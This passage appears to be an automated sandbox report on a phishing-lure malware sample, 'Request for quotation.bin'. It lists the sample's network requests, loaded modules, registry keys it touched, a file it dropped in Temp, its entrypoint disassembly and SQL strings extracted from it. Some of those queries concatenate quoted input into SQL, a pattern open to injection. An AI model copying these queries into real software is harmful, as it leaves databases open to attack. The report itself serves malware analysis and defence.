/gdroot-g2.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: crl.godaddy.com" Response ==> HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Sun 20 Aug 2023 10:48:55 GMT Content-Type: application/x-pkcs7-crl Content-Length: 514 Connection: keep-alive X-Sucuri-ID: 11036 Last-Modified: Wed 02 Aug 2023 18:47:20 GMT ETag: "202-601f517eeac30" Cache-Control: public no-transform must-revalidate Expires: Fri 04 Aug 2023 02:50:53 GMT P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA" X-Sucuri-Cache: HIT Accept-Ranges: bytes with response body ==>308201FE3081E7020101300D06092A864886F70D01010B0500308183310B30090603550406130255533110300E060355040813074172697A6F6E613113301106....... "GET //MEowSDBGMEQwQjAJBgUrDgMCGgUABBS2CA1fbGt26xPkOKX4ZguoUjM0TgQUQMK9J47MNIMwojPX%2B2yz8LQsgM4CCQCkYG4%2BrkSiPg%3D%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.godaddy.com" Response ==> HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Sun 20 Aug 2023 10:48:54 GMT Content-Type: application/ocsp-response Content-Length: 2108 Connection: keep-alive X-Sucuri-ID: 11023 Content-Transfer-Encoding: Binary Cache-Control: public no-transform must-revalidate Last-Modified: Sat 19 Aug 2023 19:20:17 GMT Expires: Sun 20 Aug 2023 19:20:17 GMT ETag: "42619d5a6bb5d728b5efa73e0e0b57fd78d2a888" P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA" X-Sucuri-Cache: HIT with response body ==>308208380A0100A08208313082082D06092B06010505073001010482081E3082081A3081D9A1583056310B3009060355040613025553311A3018060355040A13....... "GET /gdig2s1-5395.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: crl.godaddy.com" Response ==> HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Sun 20 Aug 2023 10:48:55 GMT Content-Type: application/x-pkcs7-crl Content-Length: 40023 Connection: keep-alive X-Sucuri-ID: 11036 Last-Modified: Sun 20 Aug 2023 03:32:08 GMT ETag: "9c57-60352680b166c" Cache-Control: public no-transform must-revalidate Expires: Mon 21 Aug 2023 10:16:30 GMT P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA" X-Sucuri-Cache: HIT Accept-Ranges: bytes with response body ==>30829C5330829B3B020101300D06092A864886F70D01010B05003081B4310B30090603550406130255533110300E060355040813074172697A6F6E6131133011.......35:T38ee,"Requestforquotation.exe" loaded module "GDI32.DLL" at base 75b30000 "Requestforquotation.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 76160000 "Requestforquotation.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 726c0000 "Requestforquotation.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "Requestforquotation.exe" loaded module "KERNEL32" at base 77470000 "Requestforquotation.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "Requestforquotation.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-0.DLL" at base 0 "Requestforquotation.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 68b90000 "Requestforquotation.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLE32.DLL" at base 0 "Requestforquotation.exe" loaded module "OLE32.DLL" at base 76180000 "Requestforquotation.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74070000 "Requestforquotation.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 6d160000 "Requestforquotation.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.WINDOWS.FORMS\C9A4CBC00F690A9E3CDDFC400F6E85BB\SYSTEM.WINDOWS.FORMS.NI.DLL" at base 65d00000 "Requestforquotation.exe" loaded module "KERNEL32.DLL" at base 77470000 "Requestforquotation.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\NLSSORTING.DLL" at base 6d8c0000 "Requestforquotation.exe" loaded module "WINDOWSCODECS.DLL" at base 73ca0000 "Requestforquotation.exe" loaded module "ADVAPI32.DLL" at base 76430000 "Requestforquotation.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 6d6d0000 "Requestforquotation.exe" loaded module "SHLWAPI.DLL" at base 77410000 "Requestforquotation.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 0 "Requestforquotation.exe" loaded module "VERSION.DLL" at base 74bd0000 "Requestforquotation.exe" loaded module "USER32.DLL" at base 759d0000 "Requestforquotation.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 0 "Requestforquotation.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREE.DLL" at base 0 "Requestforquotation.exe" loaded module "MSCOREE.DLL" at base 6d800000 "Requestforquotation.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 0 "Requestforquotation.exe" loaded module "PSAPI.DLL" at base 75b80000 "Requestforquotation.exe" loaded module "RPCRT4.DLL" at base 775d0000 "Requestforquotation.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 67780000 "Requestforquotation.exe" loaded module "CRYPTBASE.DLL" at base 75550000 "Requestforquotation.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 6d5c0000 "Requestforquotation.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 66d20000 "Requestforquotation.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.DRAWING\F7568D7F1B9D356F64779B4C0927CFB3\SYSTEM.DRAWING.NI.DLL" at base 66b70000 "Requestforquotation.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.WINDOWS.FORMS\V4.0_4.0.0.0__B77A5C561934E089\UXTHEME.DLL" at base 0 "Requestforquotation.exe" loaded module "UXTHEME.DLL" at base 74070000 "Requestforquotation.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 654e0000 "Requestforquotation.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.DATA\DF2DD09ED7C341842A104E1E668F184E\SYSTEM.DATA.NI.DLL" at base 64cc0000 "Requestforquotation.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 64960000 "Requestforquotation.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\96F7EDB07B12303F0EC2595C7F3778C7\SYSTEM.CONFIGURATION.NI.DLL" at base 64850000 "Requestforquotation.exe" loaded module "NTDLL.DLL" at base 77750000 "Requestforquotation.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "Requestforquotation.exe" loaded module "SHELL32.DLL" at base 764e0000 "Requestforquotation.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\15AF16D373CF0528CB74FC73D365FDBF\SYSTEM.XML.NI.DLL" at base 640d0000 "Requestforquotation.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 77950000 "Requestforquotation.exe" loaded module "PROFAPI.DLL" at base 75670000 "Requestforquotation.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "Requestforquotation.exe" loaded module "BCRYPT.DLL" at base 75170000 "Requestforquotation.exe" loaded module "CRYPTSP.DLL" at base 75060000 "Requestforquotation.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 74df0000 "Requestforquotation.exe" loaded module "IMM32.DLL" at base 76160000 "Requestforquotation.exe" loaded module "COMCTL32.DLL" at base 6d080000 "Requestforquotation.exe" loaded module "GDIPLUS.DLL" at base 73ed0000 "Requestforquotation.exe" loaded module "%WINDIR%\WINSXS\X86_MICROSOFT.WINDOWS.GDIPLUS_6595B64144CCF1DF_1.1.7601.23894_NONE_5C0BE957A009922E\GDIPLUS.DLL" at base 73ed0000 "Requestforquotation.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 77470000 "Requestforquotation.exe" loaded module "AMSI.DLL" at base 0 "Requestforquotation.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.V9921E851#\A891970B44DB9E340C3EF3EFA95B793C\MICROSOFT.VISUALBASIC.NI.DLL" at base 63ee0000 "Requestforquotation.exe" loaded module "NTDLL" at base 77750000 "Requestforquotation.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75500000 "Requestforquotation.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 77950000 "Requestforquotation.exe" loaded module "RPCRTREMOTE.DLL" at base 755f0000 "Requestforquotation.exe" loaded module "OLEAUT32.DLL" at base 76390000 "Requestforquotation.exe" loaded module "NTMARTA.DLL" at base 74b70000 "Requestforquotation.exe" loaded module "WSHTCPIP" at base 74ac0000 "Requestforquotation.exe" loaded module "SXS.DLL" at base 75560000 "Requestforquotation.exe" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L2-1-0.DLL" at base 71c10000 "Requestforquotation.exe" loaded module "DWMAPI.DLL" at base 74130000 "Requestforquotation.exe" loaded module "%WINDIR%\SYSTEM32\WSHIP6.DLL" at base 75010000 "Requestforquotation.exe" loaded module "COMCTL32.DLL" at base 744d0000 "Requestforquotation.exe" loaded module "CLBCATQ.DLL" at base 75aa0000 "Requestforquotation.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 74360000 "Requestforquotation.exe" loaded module "SETUPAPI.DLL" at base 75e70000 "Requestforquotation.exe" loaded module "%WINDIR%\SYSTEM32\NETPROFM.DLL" at base 6ec40000 "Requestforquotation.exe" loaded module "DHCPCSVC6.DLL" at base 73510000 "Requestforquotation.exe" loaded module "IPHLPAPI.DLL" at base 74bb0000 "Requestforquotation.exe" loaded module "DHCPCSVC.DLL" at base 74ad0000 "Requestforquotation.exe" loaded module "%WINDIR%\SYSTEM32\WSHOM.OCX" at base 6d910000 "Requestforquotation.exe" loaded module "URLMON.DLL" at base 76010000 "Requestforquotation.exe" loaded module "%WINDIR%\SYSTEM32\OLEAUT32.DLL" at base 76390000 "Requestforquotation.exe" loaded module "%WINDIR%\SYSTEM32\WS2_32" at base 75990000 "Requestforquotation.exe" loaded module "%WINDIR%\SYSTEM32\WININET.DLL" at base 75bb0000 "Requestforquotation.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base 74e60000 "Requestforquotation.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 74d30000 "Requestforquotation.exe" loaded module "%WINDIR%\SYSTEM32\CRYPTNET.DLL" at base 70ab0000 "Requestforquotation.exe" loaded module "NSI.DLL" at base 75b90000 "Requestforquotation.exe" loaded module "CFGMGR32.DLL" at base 75870000 "Requestforquotation.exe" loaded module "DNSAPI.DLL" at base 74ee0000 "Requestforquotation.exe" loaded module "API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL" at base 77950000 "Requestforquotation.exe" loaded module "API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL" at base 77950000 "Requestforquotation.exe" loaded module "CRYPTNET.DLL" at base 70ab0000 "Requestforquotation.exe" loaded module "WINHTTP.DLL" at base 70df0000 "Requestforquotation.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 75720000 "Requestforquotation.exe" loaded module "%WINDIR%\SYSTEM32\SCRRUN.DLL" at base 6d910000 "Requestforquotation.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 77470000 "Requestforquotation.exe" loaded module "%WINDIR%\SYSTEM32\MSXML6.DLL" at base 71380000 "Requestforquotation.exe" loaded module "%WINDIR%\SYSTEM32\WINHTTP.DLL" at base 70df0000 "Requestforquotation.exe" loaded module "WS2_32.DLL" at base 75990000 "Requestforquotation.exe" loaded module "SSPICLI.DLL" at base 754e0000 "Requestforquotation.exe" loaded module "CREDSSP.DLL" at base 74d20000 "Requestforquotation.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 75020000 "Requestforquotation.exe" loaded module "WSHIP6.DLL" at base 75010000 "Requestforquotation.exe" loaded module "%WINDIR%\SYSTEM32\WSHQOS.DLL" at base 70b20000 "Requestforquotation.exe" loaded module "%WINDIR%\SYSTEM32\MLANG.DLL" at base 6d8e0000 "Requestforquotation.exe" loaded module "%WINDIR%\SYSTEM32\MSXML3.DLL" at base 69200000 "Requestforquotation.exe" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L1-1-0.DLL" at base 75680000 "Requestforquotation.exe" loaded module "WININET.DLL" at base 75bb0000 "Requestforquotation.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L2-1-0.DLL" at base 6d110000 "Requestforquotation.exe" loaded module "SECUR32.DLL" at base 75390000 "Requestforquotation.exe" loaded module "API-MS-WIN-DOWNLEVEL-OLE32-L1-1-0.DLL" at base 75950000 "Requestforquotation.exe" loaded module "CRYPT32.DLL" at base 75720000 "Requestforquotation.exe" loaded module "USERENV.DLL" at base 758a0000 "Requestforquotation.exe" loaded module "%WINDIR%\SYSTEM32\WSHTCPIP.DLL" at base 74ac0000 "Requestforquotation.exe" loaded module "RASADHLP.DLL" at base 71c00000 "Requestforquotation.exe" loaded module "%WINDIR%\SYSTEM32\NPMPROXY.DLL" at base 6e520000 "Requestforquotation.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 73540000 "Requestforquotation.exe" loaded module "NCRYPT.DLL" at base 75190000 "Requestforquotation.exe" loaded module "WINTRUST.DLL" at base 75960000 "Requestforquotation.exe" loaded module "GPAPI.DLL" at base 74c30000 "Requestforquotation.exe" loaded module "API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL" at base 77950000 "Requestforquotation.exe" loaded module "SENSAPI.DLL" at base 726f0000 "Requestforquotation.exe" loaded module "%WINDIR%\SYSTEM32\MSXML3.DLL" at base 690c0000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 726c0000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "AppLaunch.exe" loaded module "KERNEL32" at base 77470000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 6d610000 "AppLaunch.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 0 "AppLaunch.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-0.DLL" at base 0 "AppLaunch.exe" loaded module "VERSION.DLL" at base 74bd0000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 0 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREE.DLL" at base 0 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 0 "AppLaunch.exe" loaded module "RPCRT4.DLL" at base 775d0000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLE32.DLL" at base 0 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74070000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 726f0000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 6d6d0000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 66570000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\NLSSORTING.DLL" at base 6d840000 "AppLaunch.exe" loaded module "KERNEL32.DLL" at base 77470000 "AppLaunch.exe" loaded module "AMSI.DLL" at base 0 "AppLaunch.exe" loaded module "OLE32.DLL" at base 76180000 "AppLaunch.exe" loaded module "ADVAPI32.DLL" at base 76430000 "AppLaunch.exe" loaded module "OLEAUT32" at base 76390000 "AppLaunch.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 77950000 "AppLaunch.exe" loaded module "CRYPTSP.DLL" at base 75060000 "AppLaunch.exe" loaded module "RPCRTREMOTE.DLL" at base 755f0000 "AppLaunch.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 6d760000 "AppLaunch.exe" loaded module "SHLWAPI.DLL" at base 77410000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 683e0000 "AppLaunch.exe" loaded module "USER32.DLL" at base 759d0000 "AppLaunch.exe" loaded module "MSCOREE.DLL" at base 6d8f0000 "AppLaunch.exe" loaded module "PSAPI.DLL" at base 75b80000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 66fd0000 "AppLaunch.exe" loaded module "CRYPTBASE.DLL" at base 75550000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "AppLaunch.exe" loaded module "SHELL32.DLL" at base 764e0000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 65d50000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.V9921E851#\A891970B44DB9E340C3EF3EFA95B793C\MICROSOFT.VISUALBASIC.NI.DLL" at base 69150000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLEAUT32.DLL" at base 0 "AppLaunch.exe" loaded module "OLEAUT32.DLL" at base 76390000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 74df000036:T1533,"Select* From uyeler where Kullanici_Adi = ('" (Source: Request for quotation.bin, Indicator: "select* from uyeler where kullanici_adi = ('") "select ArabaId, Araba_Marka, Araba_Model, Vites, Yakit, Renk from tbl_araba join tbl_vites on tbl_araba.Araba_VitesTuruID= tbl_vites.VitesID join tbl_yakitturu on tbl_araba.Araba_YakitTuruID = tbl_yakitturu.YakitID join tbl_renk on tbl_araba.Araba_RenkID = tbl_renk.RenkID order by ArabaID desc" (Source: Request for quotation.bin, Indicator: "select arabaid, araba_marka, araba_model, vites, yakit, renk from tbl_araba join tbl_vites on tbl_araba.araba_vitesturuid= tbl_vites.vitesid join tbl_yakitturu on tbl_araba.araba_yakitturuid = tbl_yakitturu.yakitid join tbl_renk on tbl_araba.araba_renkid = tbl_renk.renkid order by arabaid desc") "select* from tbl_vites order by Vites" (Source: Request for quotation.bin, Indicator: "select* from tbl_vites order by vites") "select* from tbl_yakitturu order by Yakit" (Source: Request for quotation.bin, Indicator: "select* from tbl_yakitturu order by yakit") "select* from tbl_renk order by Renk" (Source: Request for quotation.bin, Indicator: "select* from tbl_renk order by renk") "select* from tbl_sehir order by Sehir" (Source: Request for quotation.bin, Indicator: "select* from tbl_sehir order by sehir") "select tbl_araba.ArabaID from tbl_araba Order By ArabaID" (Source: Request for quotation.bin, Indicator: "select tbl_araba.arabaid from tbl_araba order by arabaid") "insert into tbl_araba values(@ArabaID, @Araba_Marka, @Araba_Model, @Araba_VitesTuruID,@Araba_YakitTuruID,@Araba_RenkID )" (Source: Request for quotation.bin, Indicator: "insert into tbl_araba values(@arabaid, @araba_marka, @araba_model, @araba_vitesturuid,@araba_yakitturuid,@araba_renkid )"), "select ArabaId Araba_Marka Araba_Model Vites Yakit Renk from tbl_araba join tbl_vites on tbl_araba.Araba_VitesTuruID= tbl_vites.VitesID join tbl_yakitturu on tbl_araba.Araba_YakitTuruID = tbl_yakitturu.YakitID join tbl_renk on tbl_araba.Araba_RenkID = tbl_renk.RenkID" (Source: Request for quotation.bin, Indicator: "select arabaid araba_marka araba_model vites yakit renk from tbl_araba join tbl_vites on tbl_araba.araba_vitesturuid= tbl_vites.vitesid join tbl_yakitturu on tbl_araba.araba_yakitturuid = tbl_yakitturu.yakitid join tbl_renk on tbl_araba.araba_renkid = tbl_renk.renkid"), "INSERT INTO `uyeler`(`Kullanici_Adi`, `Sifre`) VALUES ('" (Source: 6000010-Kaydol~btnKaydol_Click, Indicator: "insert into `uyeler`(`kullanici_adi`, `sifre`) values ('") "Select tbl_ilan.IlanID , tbl_ilan.Ilan_Adi, tbl_ilan.Ilan_Fiyat, tbl_ilan.Ilan_Km, tbl_ilan.ilan_Tarih,tbl_araba.Araba_Marka,tbl_araba.Araba_Model,tbl_vites.Vites, tbl_yakitturu.Yakit, tbl_renk.Renk,tbl_sehir.Sehir FROM tbl_ilan join tbl_araba on tbl_ilan.ilan_ArabaID = tbl_araba.ArabaID join tbl_renk on tbl_araba.Araba_RenkID= tbl_renk.RenkID join tbl_sehir on tbl_ilan.Ilan_SehirID = tbl_sehir.SehirID join tbl_vites on tbl_araba.Araba_VitesTuruID = tbl_vites.VitesID join tbl_yakıtturu on tbl_araba.Araba_YakitTuruID = tbl_yakitturu.YakitID" (Source: 6000014-ctor, Indicator: "select tbl_ilan.ilanid , tbl_ilan.ilan_adi, tbl_ilan.ilan_fiyat, tbl_ilan.ilan_km, tbl_ilan.ilan_tarih,tbl_araba.araba_marka,tbl_araba.araba_model,tbl_vites.vites, tbl_yakitturu.yakit, tbl_renk.renk,tbl_sehir.sehir from tbl_ilan join tbl_araba on tbl_ilan.ilan_arabaid = tbl_araba.arabaid join tbl_renk on tbl_araba.araba_renkid= tbl_renk.renkid join tbl_sehir on tbl_ilan.ilan_sehirid = tbl_sehir.sehirid join tbl_vites on tbl_araba.araba_vitesturuid = tbl_vites.vitesid join tbl_yakıtturu on tbl_araba.araba_yakitturuid = tbl_yakitturu.yakitid") "Select IlanID, Ilan_Adi, Ilan_Fiyat, Ilan_Km, Ilan_Tarih, Ilan_ArabaID, tbl_sehir.Sehir from tbl_ilan join tbl_araba on tbl_ilan.Ilan_ArabaID = tbl_araba.ArabaID join tbl_sehir on tbl_ilan.Ilan_SehirID = tbl_sehir.SehirID order by IlanID desc" (Source: 600001d-VeriEkle~Yenile, Indicator: "select ilanid, ilan_adi, ilan_fiyat, ilan_km, ilan_tarih, ilan_arabaid, tbl_sehir.sehir from tbl_ilan join tbl_araba on tbl_ilan.ilan_arabaid = tbl_araba.arabaid join tbl_sehir on tbl_ilan.ilan_sehirid = tbl_sehir.sehirid order by ilanid desc") "insert into tbl_ilan values(@IlanID, @Ilan_Adi, @Ilan_Fiyat, @Ilan_Km,@Ilan_Tarih,@Ilan_ArabaID,@Ilan_SehirID )" (Source: 6000020-VeriEkle~_lanEkle_Click, Indicator: "insert into tbl_ilan values(@ilanid, @ilan_adi, @ilan_fiyat, @ilan_km,@ilan_tarih,@ilan_arabaid,@ilan_sehirid )"), "Select IlanID Ilan_Adi Ilan_Fiyat Ilan_Km Ilan_Tarih Ilan_ArabaID tbl_sehir.Sehir from tbl_ilan join tbl_araba on tbl_ilan.Ilan_ArabaID = tbl_araba.ArabaID join tbl_sehir on tbl_ilan.Ilan_SehirID = tbl_sehir.SehirID" (Source: 6000031-VeriSil~Yenile, Indicator: "select ilanid ilan_adi ilan_fiyat ilan_km ilan_tarih ilan_arabaid tbl_sehir.sehir from tbl_ilan join tbl_araba on tbl_ilan.ilan_arabaid = tbl_araba.arabaid join tbl_sehir on tbl_ilan.ilan_sehirid = tbl_sehir.sehirid"), "Select Ilan_ArabaID From tbl_ilan where Ilan_ArabaID = '" (Source: 6000033-VeriSil~button1_Click, Indicator: "select ilan_arabaid from tbl_ilan where ilan_arabaid = '"), "delete from tbl_araba where ArabaID = '" (Source: 6000033-VeriSil~button1_Click, Indicator: "delete from tbl_araba where arabaid = '"), "delete from tbl_ilan where IlanID = '" (Source: 6000034-VeriSil~Ilan_Sil_Click, Indicator: "delete from tbl_ilan where ilanid = '")37:T5ee,"Requestforquotation.exe" touched "WinInetBroker Class" (Path: "HKCU\CLSID\{C39EE728-D419-4BD4-A3EF-EDA059DBD935}") "Requestforquotation.exe" touched "PSFactoryBuffer" (Path: "HKCU\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}") "Requestforquotation.exe" touched "Network List Manager" (Path: "HKCU\CLSID\{A47979D2-C419-11D9-A5B4-001185AD2B89}\LOCALSERVER32") "Requestforquotation.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "Requestforquotation.exe" touched "Memory Mapped Cache Mgr" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}") "Requestforquotation.exe" touched "Windows Script Host Shell Object" (Path: "HKCU\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\TREATAS") "Requestforquotation.exe" touched "FileSystem Object" (Path: "HKCU\CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}\TREATAS") "Requestforquotation.exe" touched "Server XML HTTP 6.0" (Path: "HKCU\CLSID\{88D96A0B-F192-11D4-A65F-0040963251E5}\TREATAS") "Requestforquotation.exe" touched "WinHttpRequest Component version 5.1" (Path: "HKCU\CLSID\{2087C2F4-2CEF-4953-A8AB-66779B670495}\TREATAS") "Requestforquotation.exe" touched "Multi Language Support" (Path: "HKCU\CLSID\{275C23E2-3747-11D0-9FEA-00AA003F8646}\TREATAS") "Requestforquotation.exe" touched "XML HTTP Request" (Path: "HKCU\CLSID\{ED8C108E-4349-11D2-91A4-00C04F7969E8}\TREATAS") "Requestforquotation.exe" touched "NetworkListManager" (Path: "HKCU\CLSID\{DCB00C01-570F-4A9B-8D69-199FDBA5723B}\TREATAS")38:T496,"Request for quotation.bin" file has an entrypoint instructions - "jmp dword ptr [0x402000],add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,"39:Tfac,Observed system executable string:"C:\Windows\Temp\VxOle32.dll" [Source: 00000000-00002972.00000001.66899.00010000.00000040.mdmp] Observed system executable string:"C:\Windows\Temp\VxSSL32.dll" [Source: 00000000-00002972.00000001.66899.00020000.00000040.mdmp] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" [Source: 00000000-00002972-00000C28-99] Observed system executable string:"%WINDIR%\system32\IMM32.DLL" [Source: 00000000-00002972-00000C25-7175681] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" [Source: 00000000-00002972-00000C25-9824112] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" [Source: 